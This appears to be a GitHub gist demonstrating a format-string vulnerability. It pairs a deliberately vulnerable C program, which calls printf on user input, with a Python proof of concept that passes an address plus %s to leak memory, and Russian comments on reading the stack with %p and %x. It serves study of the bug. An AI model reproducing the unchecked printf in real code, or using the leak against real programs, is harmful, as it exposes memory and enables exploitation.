Skip to content

Instantly share code, notes, and snippets.

@v14dislav
Last active June 26, 2019 14:39
Show Gist options
  • Save v14dislav/fe2d389e663ba530faa960b496331acf to your computer and use it in GitHub Desktop.
Save v14dislav/fe2d389e663ba530faa960b496331acf to your computer and use it in GitHub Desktop.
Format (printf) vulner
arg= "\x79\x01\x43\x77%s"
cmdline = "C:\\Users\\designer\\Desktop\\printf\\src.exe {}".format(arg)
import binascii
import subprocess
output = subprocess.check_output(cmdline, shell=True)
output = binascii.b2a_hex(output)
print output
# через питон вызывается .exe с аргументами. через %s можно сливать память (код и данные) до 0x00, потом отступить и сливать дальше
# %d, %p, %08x могут читать стек
// src.c
#include <stdio.h>
int main(int argc, char** argv) {
char buffer[40];
strncpy(buffer, argv[1], 40);
printf(buffer);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment